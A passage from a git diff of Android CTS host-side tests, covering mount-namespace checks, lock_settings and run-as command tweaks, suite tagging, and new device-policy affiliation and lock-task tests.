+   * Ensures that pre-apexd processes (e.g. vold) and post-apexd processes (e.g. init) are using
+   * different mount namespaces (in case of ro.apexd.updatable is true), or not.
+   */
+  @Test
+  public void testMountNamespaces() throws Exception {
+    final int rootMountIdOfInit = getMountEntry("1", "/").mountId;
+    final int rootMountIdOfVold = getMountEntry("$(pidof vold)", "/").mountId;
+    if (isApexUpdatable()) {
+      Assert.assertNotEquals("device supports updatable APEX, but is not using multiple mount namespaces",
+          rootMountIdOfInit, rootMountIdOfVold);
+    } else {
+      Assert.assertEquals("device doesn't support updatable APEX, but is using multiple mount namespaces",
+          rootMountIdOfInit, rootMountIdOfVold);
+    }
+  }
+
+  private static class MountEntry {
+    public final int mountId;
+    public final String mountPoint;
+
+    public MountEntry(String mountInfoLine) {
+      String[] tokens = mountInfoLine.split(" ");
+      if (tokens.length < 5) {
+        throw new RuntimeException(mountInfoLine + " doesn't seem to be from mountinfo");
+      }
+      mountId = Integer.parseInt(tokens[0]);
+      mountPoint = tokens[4];
+    }
+  }
+
+  private String[] readMountInfo(String pidExpression) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "cat /proc/" + pidExpression + "/mountinfo");
+    if (result.getExitCode() != 0) {
+      throw new RuntimeException("failed to read mountinfo for " + pidExpression);
+    }
+    return result.getStdout().trim().split("\n");
+  }
+
+  private MountEntry getMountEntry(String pidExpression, String mountPoint) throws Exception {
+    return Arrays.asList(readMountInfo(pidExpression)).stream()
+        .map(MountEntry::new)
+        .filter(entry -> mountPoint.equals(entry.mountPoint)).findAny().get();
+  }
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 392ccb6..40c0c7e 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
index 2597020..2197a66 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
@@ -52,7 +52,7 @@
         new InstallMultiple().addApk(APK).run();
         getDevice().executeShellCommand("cmd lock_settings set-pin 1234");
         runDeviceTests(PKG, CLASS, "testGenerateAuthBoundKey");
-        getDevice().executeShellCommand("cmd lock_settings clear --old 1234 --user 0");
+        getDevice().executeShellCommand("cmd lock_settings clear --old 1234");
         runDeviceTests(PKG, CLASS, "testUseKey");
         getDevice().executeShellCommand("cmd lock_settings set-pin 12345");
         getDevice().executeShellCommand("input keyevent 26");  // Screen on
@@ -63,7 +63,7 @@
         try {
             runDeviceTests(PKG, CLASS, "testUseKey");
         } finally {
-            getDevice().executeShellCommand("cmd lock_settings clear --old 12345 --user 0");
+            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
         }
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index fcee875..15c8db5 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index eb4dbd3..f1f9f58 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index 753977b..be8b785 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -169,13 +169,11 @@
 
     public static List<File> getAllPackageSpecificObbGiftPaths(Context context,
             String targetPackageName) {
-        final File[] files = context.getObbDirs();
         final List<File> targetFiles = new ArrayList<>();
-        for (File file : files) {
-            final File targetFile = new File(
-                    file.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
-            targetFiles.add(new File(targetFile, targetPackageName + ".gift"));
-        }
+        final File obbDir = context.getObbDir();
+        final File targetObbDir = new File(
+                obbDir.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
+        targetFiles.add(new File(targetObbDir, targetPackageName + ".gift"));
         return targetFiles;
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 2723a6d..b2f9f3f 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -408,10 +408,10 @@
             long start = System.currentTimeMillis();
             while (permissionView == null && start + RETRY_TIMEOUT > System.currentTimeMillis()) {
                 permissionView = getUiDevice().wait(Until.findObject(By.text(permissionLabel)),
-                        GLOBAL_TIMEOUT_MILLIS);
+                        IDLE_TIMEOUT_MILLIS);
 
                 if (permissionView == null) {
-                    getUiDevice().findObject(By.res("android:id/list_container"))
+                    getUiDevice().findObject(By.scrollable(true))
                             .scroll(Direction.DOWN, 1);
                 }
             }
diff --git a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
index 931550d..b081ec5 100644
--- a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
index d6140f0..7f69bf3 100644
--- a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
+++ b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
@@ -31,10 +31,7 @@
     private static final String CONNECTOR_EXE_NAME = "connector";
     private static final String START_TEST_APP_COMMAND = String.format("cmd activity start-activity -S -W %s/%s.%s",
             TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_APP_CLASS);
-    private static final String COPY_CONNECTOR_COMMAND = String
-            .format("run-as %s sh -c 'cp -f /data/local/tmp/%s ./code_cache/'", TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
-    private static final String RUN_CONNECTOR_COMMAND = String.format("run-as %s sh -c './code_cache/%s'",
-            TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
+
     // Test app ('DomainSocketActivity') would pass string "Connection Succeeded." to the
     // connector, and then the connector would append a newline and print it out.
     private static final String EXPECTED_CONNECTOR_OUTPUT = "Connection Succeeded.\n";
@@ -54,8 +51,13 @@
 
         // Start a run-as process that attempts to connect to the socket opened by the
         // app.
-        getDevice().executeShellCommand(COPY_CONNECTOR_COMMAND);
-        String results = getDevice().executeShellCommand(RUN_CONNECTOR_COMMAND);
+        int currentUser = getDevice().getCurrentUser();
+        getDevice().executeShellCommand(String.format(
+                "run-as %s --user %d sh -c 'cp -f /data/local/tmp/%s ./code_cache/'",
+                        TEST_APP_PACKAGE, currentUser, CONNECTOR_EXE_NAME));
+        String results = getDevice().executeShellCommand(String.format(
+                "run-as %s --user %d sh -c './code_cache/%s'",
+                        TEST_APP_PACKAGE, currentUser, CONNECTOR_EXE_NAME));
         assertEquals(EXPECTED_CONNECTOR_OUTPUT, results);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index c8385d7..fedd10e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -85,6 +85,20 @@
         <activity
             android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
             android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+
+        <activity
+            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
+        <activity
+            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfWhitelisted"
+            android:launchMode="singleInstance"
+            android:lockTaskMode="if_whitelisted">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java
new file mode 100644
index 0000000..5b8f4fb
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class AffiliationTest {
+
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getContext();
+        mDevicePolicyManager = (DevicePolicyManager)
+                context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+    }
+
+    @Test
+    public void testSetAffiliationId1() {
+        setAffiliationIds(Collections.singleton("id.number.1"));
+    }
+
+    @Test
+    public void testSetAffiliationId2() {
+        setAffiliationIds(Collections.singleton("id.number.2"));
+    }
+
+    @Test
+    public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
+        checkLockTaskMethodsThrow();
+    }
+
+    /** Assumes that the calling user is already affiliated before calling this method */
+    @Test
+    public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
+        final String[] packages = {"package1", "package2"};
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
+        assertArrayEquals(packages,
+                mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT));
+        assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
+        assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
+
+        final Set<String> previousAffiliationIds =
+                mDevicePolicyManager.getAffiliationIds(ADMIN_RECEIVER_COMPONENT);
+        try {
+            // Clearing affiliation ids for this user. Lock task methods unavailable.
+            setAffiliationIds(Collections.emptySet());
+            checkLockTaskMethodsThrow();
+            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+
+            // Affiliating the user again. Previously set packages have been cleared.
+            setAffiliationIds(previousAffiliationIds);
+            assertEquals(0,
+                    mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT).length);
+            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+        } finally {
+            mDevicePolicyManager.setAffiliationIds(ADMIN_RECEIVER_COMPONENT,
+                    previousAffiliationIds);
+        }
+    }
+
+    private void setAffiliationIds(Set<String> ids) {
+        mDevicePolicyManager.setAffiliationIds(ADMIN_RECEIVER_COMPONENT, ids);
+        assertEquals(ids, mDevicePolicyManager.getAffiliationIds(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    private void checkLockTaskMethodsThrow() {
+        try {
+            mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, new String[0]);
+            fail("setLockTaskPackages did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+        try {
+            mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT);
+            fail("getLockTaskPackages did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index fe6e0b9..8f9b9b5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -110,7 +110,22 @@
         }
     }
 
+    protected void waitUntilUserUnlocked() {
+        boolean isUserUnlocked = mUserManager.isUserUnlocked();
+        int retries = 30;
+        while (retries >= 0 && !isUserUnlocked) {
+            retries--;
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException e) {
+                break;
+            }
+        }
+        assertTrue("User should have been unlocked", mUserManager.isUserUnlocked());
+    }
+
     protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
+        waitUntilUserUnlocked();
         int retries = 15;
         // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
         while (retries >= 0
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
index 11c1507..2e5f479 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -36,10 +36,6 @@
 import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
 
 public class CaCertManagementTest extends BaseDeviceAdminTest {
-    // Maximal number of times to check whether a certificate is in the accepted
-    // issuers list before declaring test failure.
-    private static final int MAX_IS_TRUSTED_CHECKS = 50;
-
     private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
 
     /**
@@ -154,11 +150,15 @@
         X509TrustManager tm = getFirstX509TrustManager(tmf);
         boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
 
+        // Maximal time to wait until the certificate is found to be in the accepted
+        // issuers list before declaring test failure.
+        final int maxWaitForCertificateTrustedSec = 15;
+
         // All three responses should match - if an installed certificate isn't trusted or (worse)
         // a trusted certificate isn't even installed we should fail now, loudly.
         assertEquals(installed, listed);
         int numTries = 0;
-        while (numTries < MAX_IS_TRUSTED_CHECKS && (installed != trusted)) {
+        while (numTries < (maxWaitForCertificateTrustedSec * 10) && (installed != trusted)) {
             try {
                 Thread.sleep(100);
                 trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
new file mode 100644
index 0000000..932943a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -0,0 +1,290 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.app.ActivityManager;
+import android.app.ActivityOptions;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Build;
+import android.os.Bundle;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.telecom.TelecomManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class that is meant to be driven from the host and can't be run alone, which is required
+ * for tests that include rebooting or other connection-breaking steps. For this reason, this class
+ * does not override tearDown and setUp just initializes the test state, changing nothing in the
+ * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
+ * state after running.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LockTaskHostDrivenTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = LockTaskHostDrivenTest.class.getName();
+    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+    private static final String LOCK_TASK_ACTIVITY
+            = LockTaskUtilityActivityIfWhitelisted.class.getName();
+
+    private UiDevice mUiDevice;
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private ActivityManager mActivityManager;
+    private TelecomManager mTelcomManager;
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Before
+    public void setUp() {
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        mTelcomManager = mContext.getSystemService(TelecomManager.class);
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+    }
+
+    @Test
+    public void startLockTask() throws Exception {
+        Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
+        setLockTaskPackages(mContext.getPackageName());
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        mUiDevice.waitForIdle();
+    }
+
+    @Test
+    public void cleanupLockTask() {
+        Log.d(TAG, "cleanupLockTask on host-driven test");
+        mDevicePolicyManager.clearPackagePersistentPreferredActivities(
+                ADMIN_RECEIVER_COMPONENT,
+                mContext.getPackageName());
+        setLockTaskPackages();
+        mDevicePolicyManager.setLockTaskFeatures(ADMIN_RECEIVER_COMPONENT, 0);
+        // In case some activity is still in foreground
+        mUiDevice.pressHome();
+    }
+
+    /**
+     * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
+     * assume it's finished. Therefore, only use it once in a given test.
+     */
+    @Test
+    public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
+        Log.d(TAG, "testLockTaskIsActiveAndCantBeInterrupted on host-driven test");
+        waitAndCheckLockedActivityIsResumed();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressBack();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressRecentApps();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.waitForIdle();
+    }
+
+    @Test
+    public void testLockTaskIsExitedIfNotWhitelisted() throws Exception {
+        Log.d(TAG, "testLockTaskIsExitedIfNotWhitelisted on host-driven test");
+
+        // Whitelist this package
+        setLockTaskPackages(mContext.getPackageName());
+
+        // Launch lock task root activity
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        waitAndCheckLockedActivityIsResumed();
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        // Remove it from whitelist
+        setLockTaskPackages();
+        mUiDevice.waitForIdle();
+
+        // The activity should be finished and exit lock task mode
+        waitAndCheckLockedActivityIsPaused();
+        assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
+    }
+
+    @Test
+    public void testLockTaskCanLaunchDefaultDialer() throws Exception {
+        if (!hasTelephonyFeature()) {
+            Log.d(TAG, "testLockTaskCanLaunchDefaultDialer skipped");
+            return;
+        }
+
+        Log.d(TAG, "testLockTaskCanLaunchDefaultDialer on host-driven test");
+
+        // Whitelist dialer package
+        String dialerPackage = mTelcomManager.getSystemDialerPackage();
+        assertNotNull(dialerPackage);
+        setLockTaskPackages(mContext.getPackageName(), dialerPackage);
+
+        // Launch lock task root activity
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        waitAndCheckLockedActivityIsResumed();
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        // Launch dialer
+        launchDialerIntoLockTaskMode(dialerPackage);
+
+        // Wait until dialer package starts
+        mUiDevice.wait(
+                Until.hasObject(By.pkg(dialerPackage).depth(0)),
+                ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+        mUiDevice.waitForIdle();
+        waitAndCheckLockedActivityIsPaused();
+
+        // But still in LockTask mode
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED,
+                mActivityManager.getLockTaskModeState());
+    }
+
+    @Test
+    public void testLockTaskCanLaunchEmergencyDialer() throws Exception {
+        if (!hasTelephonyFeature()) {
+            Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped");
+            return;
+        }
+
+        // Find dialer package
+        String dialerPackage = getEmergencyDialerPackageName();
+        if (dialerPackage == null || dialerPackage.isEmpty()) {
+            Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped since no emergency dialer");
+            return;
+        }
+
+        Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer on host-driven test");
+
+        // Emergency dialer should be usable as long as keyguard feature is enabled
+        // regardless of the package whitelist
+        mDevicePolicyManager.setLockTaskFeatures(
+                ADMIN_RECEIVER_COMPONENT, DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD);
+        setLockTaskPackages(mContext.getPackageName());
+
+        // Launch lock task root activity
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        waitAndCheckLockedActivityIsResumed();
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        // Launch dialer
+        launchEmergencyDialer();
+
+        // Wait until dialer package starts
+        mUiDevice.wait(
+                Until.hasObject(By.pkg(dialerPackage).depth(0)),
+                ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+        mUiDevice.waitForIdle();
+        waitAndCheckLockedActivityIsPaused();
+
+        // But still in LockTask mode
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED,
+                mActivityManager.getLockTaskModeState());
+    }
+
+    private boolean hasTelephonyFeature() {
+        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
+
+    private void checkLockedActivityIsRunning() {
+        String activityName =
+                mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity.getClassName();
+        assertEquals(LOCK_TASK_ACTIVITY, activityName);
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+    }
+
+    private void waitAndCheckLockedActivityIsResumed() throws Exception {
+        mUiDevice.waitForIdle();
+        assertTrue(
+                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
+    }
+
+    private void waitAndCheckLockedActivityIsPaused() throws Exception {
+        mUiDevice.waitForIdle();
+        assertTrue(
+                LockTaskUtilityActivity.waitUntilActivityPaused(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
+    }
+
+    private void launchDialerIntoLockTaskMode(String dialerPackage) {
+        Intent intent = new Intent(Intent.ACTION_DIAL)
+                .setPackage(dialerPackage)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
+        mContext.startActivity(intent, options);
+    }
+
+    private void launchEmergencyDialer() {
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    private String getEmergencyDialerPackageName() {
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        ResolveInfo dialerInfo =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        return (dialerInfo != null) ? dialerInfo.activityInfo.packageName : null;
+    }
+
+    private void launchLockTaskActivity() {
+        Intent intent = new Intent(mContext, LockTaskUtilityActivityIfWhitelisted.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+        mContext.startActivity(intent);
+    }
+
+    private void setLockTaskPackages(String... packages) {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
+    }
+
+    private void setDefaultHomeIntentReceiver() {
+        IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
+        intentFilter.addCategory(Intent.CATEGORY_HOME);
+        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        mDevicePolicyManager.addPersistentPreferredActivity(
+                ADMIN_RECEIVER_COMPONENT, intentFilter,
+                new ComponentName(mContext.getPackageName(), LOCK_TASK_ACTIVITY));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
new file mode 100644
index 0000000..37f1be3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
@@ -0,0 +1,581 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.ActivityOptions;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
